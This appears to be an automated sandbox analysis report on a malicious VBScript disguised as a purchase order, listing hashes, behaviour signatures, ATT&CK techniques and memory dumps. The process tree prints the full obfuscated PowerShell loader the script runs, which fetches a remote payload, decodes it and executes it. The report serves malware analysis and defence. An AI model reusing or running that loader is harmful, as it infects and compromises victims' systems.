c441c4a1730f4f007d600a25dc94f5ce892cd1c313cce3c213b669f9566fbc81

Resubmissions

16-10-2024 09:33

241016-ljcbsaxejj 10

16-10-2024 07:37

241016-jf9rrszcke 10

Analysis

max time kernel
147s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16-10-2024 09:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

KULI500796821_PO20000003.vbs
Size

9KB
MD5

56f94f8aed310e90b5f513b1eb999c69
SHA1

95e42e5458cf0117c08de3c6bda83b699fa9be59
SHA256

a81393b534b9f803d64ca3d43f9e3b8a184a9e790ac20f2f51d347114384e7a2
SHA512

d53890af0815934fb10f4eb3e2eae13da5db60d21a9a89f2426de7bbb5ce7ed495a84a371d8c19ce9b707709b3d18f00bc637262a2d3fc7818333b508af4980e
SSDEEP

192:oiJSEy04EcieX8Qui690HKZRBijzH9Iue0LGmeHkQEvbcB1m:ouz4NHaijzH9ZNLwElDY1m

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	2708	powershell.exe
6	2708	powershell.exe
7	2708	powershell.exe
8	2708	powershell.exe
9	2708	powershell.exe
10	2708	powershell.exe
11	2708	powershell.exe
12	2708	powershell.exe
13	2708	powershell.exe
14	2708	powershell.exe
15	2708	powershell.exe
16	2708	powershell.exe
17	2708	powershell.exe
18	2708	powershell.exe
19	2708	powershell.exe
20	2708	powershell.exe
21	2708	powershell.exe
22	2708	powershell.exe
23	2708	powershell.exe
24	2708	powershell.exe
25	2708	powershell.exe
26	2708	powershell.exe
27	2708	powershell.exe
28	2708	powershell.exe
29	2708	powershell.exe
30	2708	powershell.exe
31	2708	powershell.exe
32	2708	powershell.exe
33	2708	powershell.exe
34	2708	powershell.exe
35	2708	powershell.exe
36	2708	powershell.exe
37	2708	powershell.exe
38	2708	powershell.exe
39	2708	powershell.exe
40	2708	powershell.exe
41	2708	powershell.exe
42	2708	powershell.exe
43	2708	powershell.exe
44	2708	powershell.exe
45	2708	powershell.exe
46	2708	powershell.exe
47	2708	powershell.exe
48	2708	powershell.exe
49	2708	powershell.exe
50	2708	powershell.exe
51	2708	powershell.exe
52	2708	powershell.exe
53	2708	powershell.exe
54	2708	powershell.exe
55	2708	powershell.exe
56	2708	powershell.exe
57	2708	powershell.exe
58	2708	powershell.exe
59	2708	powershell.exe
60	2708	powershell.exe
61	2708	powershell.exe
62	2708	powershell.exe
63	2708	powershell.exe
64	2708	powershell.exe
65	2708	powershell.exe
66	2708	powershell.exe
67	2708	powershell.exe
68	2708	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2708	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 2708	1352	WScript.exe	31
PID 1352 wrote to memory of 2708	1352	WScript.exe	31
PID 1352 wrote to memory of 2708	1352	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KULI500796821_PO20000003.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Tinklings Interplant Caecilia #>;$Eskimologi='Incumbence';<#Polychord seams Antistreptococcin #>;$Fordelingsnglen=$Glairin+$host.UI;function slushiest($Giganternes193){If ($Fordelingsnglen) {$Yogist++;}$Musikskole=$Loritas22+$Giganternes193.'Length'-$Yogist; for( $Gastrogastrotomy=3;$Gastrogastrotomy -lt $Musikskole;$Gastrogastrotomy+=4){$Pseudosematic++;$Menageries+=$Giganternes193[$Gastrogastrotomy];$Arteriomotor='Disendowment';}$Menageries;}function Unroots($Pilot){ & ($Fravaer) ($Pilot);}$Attributafhngighedernes215=slushiest ',leM io s z MoiRenlFodlBaraObi/Ant ';$Attributafhngighedernes215+=slushiest 'En 5inf.,ar0Tra No,( erW .diKrenGrudsovoU swBrasHus st,N FaTTa. Hin1s r0Csp.Gas0 n; ap rWDisi ysnDef6 na4 Br;Gr, Tidxg n6 To4C c;,le spr.acv,aa: bu1sav3suc1sla.In 0Unl)A t PolG oe Ovc Hokbldosol/ Af2O e0Z g1tub0Fli0Blo1Ban0sky1Ind MakFAlgi ExrUnce refDi o R xCr /siz1Tid3A t1sm .Cot0Und ';$Discern=slushiest ',beuUdksOveeAmmRMei-BakaAl.G dgEOveN .aTRn, ';$Fluktueret=slushiest 'sp hRydtEkstUnrp,ris yd:Osc/ Bl/U ogFdeePren Lga ArsTra.Un g dhrBoa/burbLigsKorq No1ple/KonMsu yU oe,aslAldo ess raP or uscsteoModmMenaPlo.st t iat Cof Ar ';$Engagerede30=slushiest '.al> sl ';$Fravaer=slushiest ' reIAddeQ.iXtsa ';$Rettighedskrav='Hundige';$Hvl='\Nonterminous.Gys';Unroots (slushiest 'Unt$T lGHabL ,iOfjoBBrnaV.rLPo : BiBHalRLone Bipf.rls maru,N B,sUndB FoaLaxa ,uDkrie ,vNAfb=Tan$ oE,ylNUn v .o:Gypa Arp BapsalDAnia F T mA He+Vet$FirhTvrv onlK.m ');Unroots (slushiest 'spy$ AdgHu.LFiloRecb cha onlOf :AigsspaKtalOKhovu blUrobkage ArRInrnDumE BesAch=til$Re,fWeslFeuUWilkdivT skuChiEhy R.hoe TrtUnb.UapsslipC.rlFogI gtA.l(Up.$HisE ChnTa.gPaaAmilgInhETacr grEstrDdele Ne3Fil0di )Utz ');Unroots (slushiest 'Ask[ComnTitEVactEsk.As,sPr eRedr JuvEnkIAdrC raEdiaP,oroTheIAf.NOp,T EumMe a ,anI vaBalgDe e DiRF.r] Pe:Kem:Ka,s aebu C stUEneRRi iUriTso Yst P UhrJusoso.TF roU dcMisO F LIns n= Do Az [DecnforETurT In. egsGele blcsh UForR oI ToT muYsuppDurRToeo iTlokoA hc ko.irlRagtOmdy odPsoce C ] Ga:Ren:PaaT BrlUnbsCho1Unj2,la ');$Fluktueret=$skovlbernes[0];$Phoneticize=(slushiest 'Pro$FrdgAf lAneo.arbRabAAnkL re:Ra sPolKRapjV tON dL.erdpa e uNF le au=comnsilEWawW v -IndoAf BCirj tee NaCTrat Ab DetsBloyRadsVaaT M eshamsub. kunBeaEFa.Tuni.UtiwLeveLyabsy c DaLIrriIdeEc,en Z tF l ');Unroots ($Phoneticize);Unroots (slushiest 'Pr.$Plas epkEu jbefoIssl AfdstieApon drespn.TanHgyle AfaPr,d,ndedemr s sEgo[ski$IroDferiIm sGr.cNi eU yrUn n B,]M l= C $AnmARejtCont isrH risambBloustyt lkaIn,f JyhBarnFlygA kiPe g rhGaseDoedKuleTomr YansoleCits st2Tr,1Byw5 ru ');$spinny13=slushiest 'Ask$Pats akTesjBroo splTifd.aleB nn D,eEu..PreDPinoFakwAren TrlMicoKliaTrsdAttFovei CalCireCo ( a$ DrF hylsteuAn kDelt diuRatePolrGuleBootFo., o$Pans Holhari C dVagbCa aHexnAppeDes) Re ';$slidbane=$Breplansbaaden;Unroots (slushiest ' Fl$GrsG lol B ORo BKryADi lGan: hnOceEWasDAstts vUTe,RGenE VeN Pae s.ssen=Byg(Bo tJrleHers VaTD l- R p raADehtDe hkll Ta.$Wats ElLindi ynDUn,BPr,askaN sme H )Tyk ');while (!$Nedturenes) {Unroots (slushiest ',ni$ edgNonlreso.ombM na.ehlL n:Ca BHjseThes stkConrGraesljr.ursOveaBlak s slausge.=Vej$ Cot,ilrThiuBileGau ') ;Unroots $spinny13;Unroots (slushiest 'Mats ReTVina LirEsmT ki-RamsPedl esE HjE .ePAl sk 4 sl ');Unroots (slushiest 'Fal$,neGEetLBjeoFribs ras.bLsa :MolNs.mE U dWintMenuKorRproE stNEkseHarsKoa=Que(Prit paeAntsChaTM,n-strpCogA eT nthVgr I i$PyrsAmtLNo iM gd WobCraa apnAtmePu )For ') ;Unroots (slushiest ' Ba$CaugChulcanO anBFo,aKonL .n:knisMaaOFigLVe Fskardife Lsd,edsAf,=Pri$GrigUroLCenOPrebstrAB,dLcos:ForfR.frstrebisMRass Goi BrGKamELugll.vsuncE VisAcc+ a+.ar%spe$Clos ,sKBraO aV ibLsp,bCayEs.brs.mnB ue Das sa.Gl c T o.epUAn.NZygTR.m ') ;$Fluktueret=$skovlbernes[$solfreds];}$Frkrigstidernes=321286;$Feist=28101;Unroots (slushiest ' py$ Veg.malstaO roB uaE pLDig: TabValRsale.yoMBa sBloEIodskryPTriOMaeRVolsAnt Dan= se samGMisEMolt.ar- HyCFeloHann PrtMenEFu nTjrTUn, Upt$ rusReplBrei.amDji,bNonAForN OpeIvy ');Unroots (slushiest '.er$ eg CilGrno sabNemaBo,l ia:TrslRecic lcT.leUron ots L aCi bU olFo e Ov Ove=mig st[AblsRapy busZymt L,eskem Ta..ouCLano AdnR,gvGlie DerIndtAg ] el:the:JarFNa rP loColm utBAnaaBessForeca 6job4s,nsPyrtEftrBjeiP onKnsg hi(Nu $PogB AmrMi eT kmDissKwae egsFurpGa.oLaer Iss p )Ami ');Unroots (slushiest 'Vag$ BuGkajLCalo uB h aMicLcal:MonsstakshiOHineKunnGe.sPaa Uf=Cer gud[Cyss ,aYFrasUp.tN bE BiMsup. p TAireD pxUdkT er.Looe itNKalCB.soReiD ,eIunmnjazgB g]fag:Und:CitaPiesEquC api.omiU.d. slGTelE,mbTs rsEudTspiRAnaI teNal.Gbla(Org$ DkL BaI,isCMacE siNAngsUndas ib.esLUngEBef)Pr ');Unroots (slushiest 'Be $ ArgUnlLResOKimBPhoAIhulLou:T ns Bre .uasubffyrAPaaRDanEudp=Pul$ Gas OpkOpsOKraEFisnsk sMun.udssRhyUskibD ds eTLa rOmki uNhowgAlb(r.h$ Flfstar adk exRse,IsttgBess ,otsygIOveDundeCapr HanB ne frs jl, Dk$DawFMare nlIBatsUdkTDel) Ty ');Unroots $seafare;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2708-4-0x000007FEF636E000-0x000007FEF636F000-memory.dmp

Filesize
4KB

Download
memory/2708-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2708-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2708-7-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-8-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-10-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-9-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-11-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-12-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-13-0x000007FEF636E000-0x000007FEF636F000-memory.dmp

Filesize
4KB

Download
memory/2708-14-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-15-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download